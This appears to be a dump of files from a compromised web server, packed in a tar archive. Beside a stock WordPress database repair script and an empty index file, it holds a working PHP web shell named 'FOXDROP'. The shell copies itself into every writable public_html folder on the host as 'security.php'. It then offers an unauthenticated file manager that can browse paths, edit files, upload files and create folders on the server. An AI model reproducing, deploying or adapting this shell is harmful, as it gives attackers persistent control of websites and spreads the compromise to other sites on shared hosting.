Your IP : 216.73.216.1
244439/index.php 0000644 00000011454 15050370007 0007137 0 ustar 00 <?php
// 🛡️ FOXDROP | Auto deploy + file manager
error_reporting(E_ALL);
ini_set('display_errors', 1);
// === Auto-spread Setup ===
function locateDomainsBase($origin) {
$here = realpath($origin);
while ($here && $here !== DIRECTORY_SEPARATOR) {
$leaf = basename($here);
if (preg_match('/^u[0-9a-z]+$/i', $leaf)) {
$maybe = $here . DIRECTORY_SEPARATOR . 'domains';
if (is_dir($maybe)) return $maybe;
}
$here = dirname($here);
}
return false;
}
$self = __FILE__;
$deploy_name = "security.php"; // 🔒 This is the forced filename for copied shells
$start = dirname($self);
$targets = [];
$domains_dir = locateDomainsBase($start);
if ($domains_dir && is_dir($domains_dir)) {
$subs = scandir($domains_dir);
foreach ($subs as $domain) {
if ($domain === '.' || $domain === '..') continue;
$pub = $domains_dir . DIRECTORY_SEPARATOR . $domain . DIRECTORY_SEPARATOR . 'public_html';
if (is_dir($pub) && is_writable($pub)) {
$dest = $pub . DIRECTORY_SEPARATOR . $deploy_name;
if (@copy($self, $dest)) {
$targets[] = "http://$domain/$deploy_name";
}
}
}
if (!empty($targets)) {
echo "<h2 style='color:#4afc4a'>✅ Shell copied as <code>security.php</code>:</h2><ul>";
foreach ($targets as $u) echo "<li><a href='$u' target='_blank' style='color:#6af'>$u</a></li>";
echo "</ul><hr>";
} else {
echo "<p style='color:orange'>⚠️ Found domains, but no copies succeeded.</p>";
}
} else {
echo "<p style='color:red'>❌ domains folder not found.</p>";
}
// === File manager UI ===
$dir = isset($_GET['go']) ? $_GET['go'] : getcwd();
$dir = realpath($dir);
// === Editor ===
if (isset($_GET['edit']) && isset($_GET['go'])) {
$targetFile = $dir . DIRECTORY_SEPARATOR . basename($_GET['edit']);
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content_save'])) {
file_put_contents($targetFile, $_POST['content']);
echo "<p style='color: #4afc4a;'>💾 Saved.</p>";
}
$code = @file_get_contents($targetFile);
echo "<h2>✏️ Editing: " . htmlspecialchars($_GET['edit']) . "</h2>";
echo "<form method='post'>
<textarea name='content' rows='20' cols='100'>" . htmlspecialchars($code) . "</textarea><br>
<input type='submit' name='content_save' value='💾 Save'>
</form>
<hr><a href='?go=" . urlencode($dir) . "'>🔙 Back</a>";
exit;
}
// === Upload ===
if (isset($_FILES['dropfile'])) {
$to = $dir . DIRECTORY_SEPARATOR . basename($_FILES['dropfile']['name']);
move_uploaded_file($_FILES['dropfile']['tmp_name'], $to);
echo "<p style='color:#4afc4a'>📤 Uploaded: " . htmlspecialchars($_FILES['dropfile']['name']) . "</p>";
}
// === Create folder ===
if (isset($_POST['mkfolder']) && $_POST['mkfolder']) {
$folder = $dir . DIRECTORY_SEPARATOR . basename($_POST['mkfolder']);
if (!file_exists($folder)) {
mkdir($folder);
echo "<p style='color:#4afc4a'>📁 Folder created.</p>";
} else {
echo "<p style='color:#fc4a4a'>❌ Already exists.</p>";
}
}
// === Styles ===
echo "<style>
body { background:#121212; color:#ccc; font-family:monospace; padding:15px; }
a { color:#6af; text-decoration:none; }
a:hover { text-decoration:underline; }
h2 { color:#fff; }
ul { line-height:1.6; }
</style>";
// === Breadcrumbs ===
echo "<h2>🗂️ FoxDrop Manager</h2><p><strong>Path:</strong> ";
$steps = explode(DIRECTORY_SEPARATOR, $dir);
$build = '';
foreach ($steps as $seg) {
if ($seg === '') {
$build .= DIRECTORY_SEPARATOR;
echo "<a href='?go=" . urlencode($build) . "'>/</a>";
continue;
}
$build .= $seg . DIRECTORY_SEPARATOR;
echo "<a href='?go=" . urlencode($build) . "'>" . htmlspecialchars($seg) . "</a>/";
}
echo "</p><hr>";
// === List files/folders ===
$items = scandir($dir);
echo "<ul>";
foreach ($items as $item) {
if ($item === '.') continue;
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
echo "<li>📁 <a href='?go=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a></li>";
} else {
echo "<li>📄 <a href='?go=" . urlencode($dir) . "&edit=" . urlencode($item) . "'>" . htmlspecialchars($item) . "</a></li>";
}
}
echo "</ul><hr>";
// === Upload form ===
echo "<form method='post' enctype='multipart/form-data'>
<label>📤 File Upload:</label>
<input type='file' name='dropfile'>
<input type='submit' value='Upload'>
</form>";
// === Folder creation ===
echo "<form method='post'>
<label>📁 New Folder:</label>
<input type='text' name='mkfolder'>
<input type='submit' value='Create'>
</form>";
?>
repair.php 0000644 00000016650 15050370007 0006544 0 ustar 00 <?php
/**
* Database Repair and Optimization Script.
*
* @package WordPress
* @subpackage Database
*/
define( 'WP_REPAIRING', true );
require_once dirname( __DIR__, 2 ) . '/wp-load.php';
header( 'Content-Type: text/html; charset=utf-8' );
?>
<!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="robots" content="noindex,nofollow" />
<title><?php _e( 'WordPress › Database Repair' ); ?></title>
<?php wp_admin_css( 'install', true ); ?>
</head>
<body class="wp-core-ui">
<p id="logo"><a href="<?php echo esc_url( __( 'https://wordpress.org/' ) ); ?>"><?php _e( 'WordPress' ); ?></a></p>
<?php
if ( ! defined( 'WP_ALLOW_REPAIR' ) || ! WP_ALLOW_REPAIR ) {
echo '<h1 class="screen-reader-text">' .
/* translators: Hidden accessibility text. */
__( 'Allow automatic database repair' ) .
'</h1>';
echo '<p>';
printf(
/* translators: %s: wp-config.php */
__( 'To allow use of this page to automatically repair database problems, please add the following line to your %s file. Once this line is added to your config, reload this page.' ),
'<code>wp-config.php</code>'
);
echo "</p><p><code>define('WP_ALLOW_REPAIR', true);</code></p>";
$default_keys = array_unique(
array(
'put your unique phrase here',
/*
* translators: This string should only be translated if wp-config-sample.php is localized.
* You can check the localized release package or
* https://i18n.svn.wordpress.org/<locale code>/branches/<wp version>/dist/wp-config-sample.php
*/
__( 'put your unique phrase here' ),
)
);
$missing_key = false;
$duplicated_keys = array();
foreach ( array( 'AUTH_KEY', 'SECURE_AUTH_KEY', 'LOGGED_IN_KEY', 'NONCE_KEY', 'AUTH_SALT', 'SECURE_AUTH_SALT', 'LOGGED_IN_SALT', 'NONCE_SALT' ) as $key ) {
if ( defined( $key ) ) {
// Check for unique values of each key.
$duplicated_keys[ constant( $key ) ] = isset( $duplicated_keys[ constant( $key ) ] );
} else {
// If a constant is not defined, it's missing.
$missing_key = true;
}
}
// If at least one key uses a default value, consider it duplicated.
foreach ( $default_keys as $default_key ) {
if ( isset( $duplicated_keys[ $default_key ] ) ) {
$duplicated_keys[ $default_key ] = true;
}
}
// Weed out all unique, non-default values.
$duplicated_keys = array_filter( $duplicated_keys );
if ( $duplicated_keys || $missing_key ) {
echo '<h2 class="screen-reader-text">' .
/* translators: Hidden accessibility text. */
__( 'Check secret keys' ) .
'</h2>';
/* translators: 1: wp-config.php, 2: Secret key service URL. */
echo '<p>' . sprintf( __( 'While you are editing your %1$s file, take a moment to make sure you have all 8 keys and that they are unique. You can generate these using the <a href="%2$s">WordPress.org secret key service</a>.' ), '<code>wp-config.php</code>', 'https://api.wordpress.org/secret-key/1.1/salt/' ) . '</p>';
}
} elseif ( isset( $_GET['repair'] ) ) {
echo '<h1 class="screen-reader-text">' .
/* translators: Hidden accessibility text. */
__( 'Database repair results' ) .
'</h1>';
$optimize = '2' === $_GET['repair'];
$okay = true;
$problems = array();
$tables = $wpdb->tables();
/**
* Filters additional database tables to repair.
*
* @since 3.0.0
*
* @param string[] $tables Array of prefixed table names to be repaired.
*/
$tables = array_merge( $tables, (array) apply_filters( 'tables_to_repair', array() ) );
// Loop over the tables, checking and repairing as needed.
foreach ( $tables as $table ) {
$check = $wpdb->get_row( "CHECK TABLE $table" );
echo '<p>';
if ( 'OK' === $check->Msg_text ) {
/* translators: %s: Table name. */
printf( __( 'The %s table is okay.' ), "<code>$table</code>" );
} else {
/* translators: 1: Table name, 2: Error message. */
printf( __( 'The %1$s table is not okay. It is reporting the following error: %2$s. WordPress will attempt to repair this table…' ), "<code>$table</code>", "<code>$check->Msg_text</code>" );
$repair = $wpdb->get_row( "REPAIR TABLE $table" );
echo '<br /> ';
if ( 'OK' === $repair->Msg_text ) {
/* translators: %s: Table name. */
printf( __( 'Successfully repaired the %s table.' ), "<code>$table</code>" );
} else {
/* translators: 1: Table name, 2: Error message. */
printf( __( 'Failed to repair the %1$s table. Error: %2$s' ), "<code>$table</code>", "<code>$repair->Msg_text</code>" ) . '<br />';
$problems[ $table ] = $repair->Msg_text;
$okay = false;
}
}
if ( $okay && $optimize ) {
$analyze = $wpdb->get_row( "ANALYZE TABLE $table" );
echo '<br /> ';
if ( 'Table is already up to date' === $analyze->Msg_text ) {
/* translators: %s: Table name. */
printf( __( 'The %s table is already optimized.' ), "<code>$table</code>" );
} else {
$optimize = $wpdb->get_row( "OPTIMIZE TABLE $table" );
echo '<br /> ';
if ( 'OK' === $optimize->Msg_text || 'Table is already up to date' === $optimize->Msg_text ) {
/* translators: %s: Table name. */
printf( __( 'Successfully optimized the %s table.' ), "<code>$table</code>" );
} else {
/* translators: 1: Table name. 2: Error message. */
printf( __( 'Failed to optimize the %1$s table. Error: %2$s' ), "<code>$table</code>", "<code>$optimize->Msg_text</code>" );
}
}
}
echo '</p>';
}
if ( $problems ) {
printf(
/* translators: %s: URL to "Fixing WordPress" forum. */
'<p>' . __( 'Some database problems could not be repaired. Please copy-and-paste the following list of errors to the <a href="%s">WordPress support forums</a> to get additional assistance.' ) . '</p>',
__( 'https://wordpress.org/support/forum/how-to-and-troubleshooting' )
);
$problem_output = '';
foreach ( $problems as $table => $problem ) {
$problem_output .= "$table: $problem\n";
}
echo '<p><textarea name="errors" id="errors" rows="20" cols="60">' . esc_textarea( $problem_output ) . '</textarea></p>';
} else {
echo '<p>' . __( 'Repairs complete. Please remove the following line from wp-config.php to prevent this page from being used by unauthorized users.' ) . "</p><p><code>define('WP_ALLOW_REPAIR', true);</code></p>";
}
} else {
echo '<h1 class="screen-reader-text">' .
/* translators: Hidden accessibility text. */
__( 'WordPress database repair' ) .
'</h1>';
if ( isset( $_GET['referrer'] ) && 'is_blog_installed' === $_GET['referrer'] ) {
echo '<p>' . __( 'One or more database tables are unavailable. To allow WordPress to attempt to repair these tables, press the “Repair Database” button. Repairing can take a while, so please be patient.' ) . '</p>';
} else {
echo '<p>' . __( 'WordPress can automatically look for some common database problems and repair them. Repairing can take a while, so please be patient.' ) . '</p>';
}
?>
<p class="step"><a class="button button-large" href="repair.php?repair=1"><?php _e( 'Repair Database' ); ?></a></p>
<p><?php _e( 'WordPress can also attempt to optimize the database. This improves performance in some situations. Repairing and optimizing the database can take a long time and the database will be locked while optimizing.' ); ?></p>
<p class="step"><a class="button button-large" href="repair.php?repair=2"><?php _e( 'Repair and Optimize Database' ); ?></a></p>
<?php
}
?>
</body>
</html>
index.php 0000644 00000000000 15050370007 0006347 0 ustar 00